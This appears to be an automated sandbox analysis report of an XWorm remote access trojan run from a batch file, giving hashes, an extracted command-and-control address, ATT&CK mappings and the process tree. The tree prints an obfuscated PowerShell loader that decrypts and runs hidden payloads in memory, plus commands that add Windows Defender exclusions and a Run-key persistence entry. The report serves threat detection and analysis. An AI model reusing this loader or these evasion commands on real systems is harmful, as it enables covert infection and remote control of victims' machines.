xworm | 2a95e5bad57e737a8a8ef09518d691ca15d29662dcd2a6c5280dafecc9698ac6

Reason

Machine shutdown

General

Target

Skib on sigma.bat
Size

293KB
MD5

23c9458762dbe5435b6db4cc7e54a34b
SHA1

cfcf4d5deb44aebe344b723eeea024d76ef80793
SHA256

2a95e5bad57e737a8a8ef09518d691ca15d29662dcd2a6c5280dafecc9698ac6
SHA512

9184f29327d7da75b31aee6108fc2ab8e4828e5684ac9ad0ecc0aa80fe0e49514f177b513202d5d0269f2c4c44d19dbca5425e4642c3246ffa1a8fe6cc5f77c2
SSDEEP

6144:/xjI8Qgs9ZH+QHefkqFnaXzWHZpIt36OspPqiPIGFY1pz0fcBj89:5jPrsD+QHCkyaXK3dOYP2G2nAUBo9

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

149.40.62.55:60447

Attributes

Install_directory
%AppData%
install_file
System User.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/5032-15-0x000001752A340000-0x000001752A358000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 35 IoCs

flow	pid	Process
1	5032	powershell.exe
4	5032	powershell.exe
5	5032	powershell.exe
7	5032	powershell.exe
8	5032	powershell.exe
13	5032	powershell.exe
14	5032	powershell.exe
15	5032	powershell.exe
17	5032	powershell.exe
19	5032	powershell.exe
20	5032	powershell.exe
21	5032	powershell.exe
22	5032	powershell.exe
23	5032	powershell.exe
24	5032	powershell.exe
26	5032	powershell.exe
27	5032	powershell.exe
28	5032	powershell.exe
29	5032	powershell.exe
30	5032	powershell.exe
31	5032	powershell.exe
32	5032	powershell.exe
33	5032	powershell.exe
34	5032	powershell.exe
35	5032	powershell.exe
36	5032	powershell.exe
37	5032	powershell.exe
38	5032	powershell.exe
39	5032	powershell.exe
40	5032	powershell.exe
41	5032	powershell.exe
42	5032	powershell.exe
43	5032	powershell.exe
44	5032	powershell.exe
45	5032	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5032	powershell.exe
4332	powershell.exe
2400	powershell.exe
4532	powershell.exe
4860	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000\Software\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User.exe"	powershell.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5032	powershell.exe
5032	powershell.exe
4860	powershell.exe
4860	powershell.exe
4332	powershell.exe
4332	powershell.exe
2400	powershell.exe
2400	powershell.exe
4532	powershell.exe
4532	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5032	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 5032	3376	cmd.exe	78
PID 3376 wrote to memory of 5032	3376	cmd.exe	78
PID 5032 wrote to memory of 4860	5032	powershell.exe	80
PID 5032 wrote to memory of 4860	5032	powershell.exe	80
PID 5032 wrote to memory of 4332	5032	powershell.exe	82
PID 5032 wrote to memory of 4332	5032	powershell.exe	82
PID 5032 wrote to memory of 2400	5032	powershell.exe	84
PID 5032 wrote to memory of 2400	5032	powershell.exe	84
PID 5032 wrote to memory of 4532	5032	powershell.exe	86
PID 5032 wrote to memory of 4532	5032	powershell.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Skib on sigma.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WpMEm/GalYp9kcB2+76k+gwrPnoE4VpjTtUPyxQ/61E='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEBYelvRtNxKSaODs/XtpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rGXFD=New-Object System.IO.MemoryStream(,$param_var); $dhbeK=New-Object System.IO.MemoryStream; $YlwRG=New-Object System.IO.Compression.GZipStream($rGXFD, [IO.Compression.CompressionMode]::Decompress); $YlwRG.CopyTo($dhbeK); $YlwRG.Dispose(); $rGXFD.Dispose(); $dhbeK.Dispose(); $dhbeK.ToArray();}function execute_function($param_var,$param2_var){ $kFrOd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HKZZI=$kFrOd.EntryPoint; $HKZZI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Skib on sigma.bat';$LUesu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Skib on sigma.bat').Split([Environment]::NewLine);foreach ($AwCWI in $LUesu) { if ($AwCWI.StartsWith(':: ')) { $mMzbW=$AwCWI.Substring(3); break; }}$payloads_var=[string[]]$mMzbW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aa4f31835d07347297d35862c9045f4a

SHA1
83e728008935d30f98e5480fba4fbccf10cefb05

SHA256
99c83bc5c531e49d4240700142f3425aba74e18ebcc23556be32238ffde9cce0

SHA512
ec3a4bee8335007b8753ae8ac42287f2b3bcbb258f7fc3fb15c9f8d3e611cb9bf6ae2d3034953286a34f753e9ec33f7495e064bab0e8c7fcedd75d6e5eb66629

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
c8e142ee24a77ad7f21f6a741d48c8da

SHA1
2f174ae49dd03c3b2acd2f9cb2f4e1913908e749

SHA256
e81cbecfdbc457b5d8aad1fbd1dc29ab05e6425e9921bff30089f074ddfc6961

SHA512
ea1c13f3c559afbdfd63a6ecd2ca354612c3c29c2716156d5afcafe6d3fbd0e7eca7b1f03e68f3a28c78cbea5ec430285fa699facad72fc52a37fca207999799

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6f0e62045515b66d0a0105abc22dbf19

SHA1
894d685122f3f3c9a3457df2f0b12b0e851b394c

SHA256
529811e4d3496c559f3bd92cd877b93b719c3ac4834202aa76ab9e16e25f9319

SHA512
f78426df6032ee77f8c463446ab1c6bb4669ef7a2463dead831ec4ff83a07d7dc702d79372d8bcaf4594bf0fb6e11e9f027f3e0325de9b19be5f51b7b80ed54a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyjl2ajn.po4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4860-25-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/4860-27-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/4860-30-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/4860-26-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/4860-16-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/5032-0-0x00007FFB0A763000-0x00007FFB0A765000-memory.dmp

Filesize
8KB

Download
memory/5032-15-0x000001752A340000-0x000001752A358000-memory.dmp

Filesize
96KB

Download
memory/5032-13-0x000001752A280000-0x000001752A288000-memory.dmp

Filesize
32KB

Download
memory/5032-14-0x000001752A2E0000-0x000001752A318000-memory.dmp

Filesize
224KB

Download
memory/5032-12-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/5032-11-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/5032-41-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/5032-10-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download
memory/5032-9-0x000001752A290000-0x000001752A2B2000-memory.dmp

Filesize
136KB

Download
memory/5032-62-0x00007FFB0A763000-0x00007FFB0A765000-memory.dmp

Filesize
8KB

Download
memory/5032-63-0x00007FFB0A760000-0x00007FFB0B222000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads